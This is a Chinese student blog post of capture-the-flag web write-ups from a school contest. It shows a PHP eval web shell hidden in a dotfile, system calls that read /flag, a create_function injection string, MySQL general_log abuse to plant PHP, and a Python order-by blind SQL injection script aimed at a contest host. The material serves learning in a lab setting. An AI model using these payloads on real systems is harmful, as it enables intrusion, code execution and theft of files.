校内比赛,被干碎了呜呜呜

rm -rf *

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
$a = $_POST['spirit'];
$b = $_POST['2023'];
$c = $_POST['Are_you_a_freshman'];
if ($c == "NO") {
//给老东西的福利
include("hint.php");
die("flag送你了,老东西应得的!");
}
if (isset($a) && isset($b)) {
if (strpos($a, '..') !== false) {
die('老实点');
}
if (!preg_match('/.php$/i', basename($a))) {
//我知道你想写什么
die('给你机会了,你还是不听话,哼!');
} else {
file_put_contents($a, $b);
system("rm -rf *");
die("全都被我删除干净了哦 >_< !!!!!! QAQ不可以做坏事哦QAQ!");
}
}
echo("Welcome to Spirit2023!");
?>

rm -rf *在删除的时候不会删除隐藏文件,所以可以往隐藏文件里面写马,flag在根目录。

spirit=.haha.php&2023=<?php eval($_POST[1]);?>

1=system('tac /flag');

Mihoyo

进去是一个302重定向,以为在原来的包里有flag,但是用bp看过了,没有。根据提示去平台找,源代码直接搜Spirit,拿到flag。

Mania

进去是一个音游界面,直接看源代码,发现有一段js脚本被jsfuck加密了,尝试看它的源代码。

由于在“元素”里看不全,所以去源代码的索引里面看。

拿到完整的js代码后去掉空格之类的无用符号,粘贴到解密网站获得代码的值。(常用的那个jsfuck解密工具居然解不出来。。。。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const gradeElements = document.getElementsByClassName('ResultGradeのgrade'); 
const levelElements = document.getElementsByClassName('MusicChartSelectorItemのlevel');
let newResult = false;
const f = async () => {
if (gradeElements.length == 0 || levelElements.length == 0) {
newResult = true;
} else if ((gradeElements[0].textContent == 'A' || gradeElements[0].textContent == 'S') && Number(levelElements[0].textContent) >= 8 && newResult) {
newResult = false;
const flag = await (await fetch('s33_y0u_n3x7_71m3')).text();
alert(flag);
} else if (newResult) {
newResult = false;
alert('まだまだだね~');
}
await new Promise(resolve => setTimeout(resolve, 100));
f();
};
f();

发现拿到flag的条件是gradeElements[0].textContent == 'A' || gradeElements[0].textContent == 'S'并且Number(levelElements[0].textContent) >= 8并且newResult,说人话就是游戏评级达到a或s并且newResult为true并且level数组的第一位要大于等于8。

随便开一局游戏(这样才能让脚本运行),然后等到结束,会有弹窗说日语。在源代码里面调试,点暂停,然后去控制台改变量的值,输入

1
2
3
gradeElements[0].textContent = 'S'
levelElements[0].textContent = 9
newResult = true

取消暂停,弹出了flag。

如果没解密那串jsfuck的话,在游戏结束弹窗日语的时候点暂停,然后关闭弹窗也能看见被解密的代码。


看了cracktc的题解,直接访问s33_y0u_n3x7_71m3也可以呦。

HIDDEN_FLAG

首先根据notfound界面确定是 php -S 0.0.0.0:80启动的服务。(我不知道啊,后来提示说的)

这个服务在7.4.21之前有源码泄露问题。

复现的话注意三点,一是回车换行的数量;二是第二个get的路径应该是x.x,比如1.js;三是关闭bp的自动补全Content-Length。

1

发现源码有一个 create_function,两个位置都可以注入的。

在前边注:

1
2
$a = "){}system('cat /flag');//";
echo base64_encode(bin2hex($a));//bin2hex能接受字符串并且将其转为16进制

在后边注:

1
$a = "}system('ls');//";

但是本题的后一个参数是要自己base64解码的,然后靶机给编码,这样只是传输被解码烂了的奇怪字符,所以从前边注入。

为什么没做出来这题呢。。。第一个问题是看到了变量a前后的那些字符串,下意识以为a上不能注;第二个问题是hex2bin和bin2hex这两个函数把我绕晕了;第三个问题是最后几次尝试的顺序有问题。下次做这种疑惑问题的时候可以把自己的问题都列出来然后开个php环境尝试解决!

MyGO!!!!!

这题在场上搞了一下午也没搞出来

进去发现一个输入框,看url是sql查询,尝试注一下吧,结果咋注咋报错,最后发现是可以直接执行sql语句的。接着查了所有表没查到flag;查了MySQL提权复现也没成功。这时候给了Hint,最后一条代表任意文件可读取,第一条代表Dockerfile没删,于是先读Dockerfile,发现启动脚本docker-entrypoint.sh,查看脚本,发现根目录有flag,环境变量本来也有但是被cracktc删掉了,还发现了mygo文件可下载。用Linux查看mygo发现是Linux的可执行文件,怀疑是go语言编写的源代码但是不会逆不知道咋能看见代码就卡死在这了

下面都来自cracktc的题解了:因为是go语言编写的,并且直接copy了,所以猜测main.go(go的main函数一般在这里面)也可以访问,发现确实可以访问,里面有个展示图片的php文件,rand_img.php,看一下rand_img.php,发现每次随机选一个图片复制到image.jpg中。本来想用这个rand_img.php写shell,但是没成功,看题解是通过image.jpg带出写的内容的,payload如下

1
2
3
set global general_log_file="/app/rand_img.php";
set global general_log = 'ON';
select "<?php file_put_contents('image.jpg', file_get_contents('/flag')); ?>"

这时候image.jpg就是flag内容了,下下来记事本直接看。

ChatGPT的web题

首先,不要创建账号是真的让你不要创建,创建了没法orderby盲注的崩溃了

审这个博客发现有一个任意文件读取漏洞,想上传文件出发phar反序列化,但是必须是admin才能上传,于是想办法注出admin的密码,这里用到了orderby盲注,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
url="http://202.198.27.90:40090/login.php"


k=""
for i in range(1,50):
#print(i)
for j in s:
data={
'username1':"' or 1 union select 1,2,'{0}' order by 3#".format(k+j),
'pwd1':'1'}
response = requests.post(url,data)

if("admin" in response.text):
k = k+chr(ord(j)-1)
print(k)
break

不知道为什么我的bp用一样的payload就是注不出来密码,赛场上被急晕,还是脚本好使,得多写啊!

拿到密码着手phar反序列化

未完待续。。。。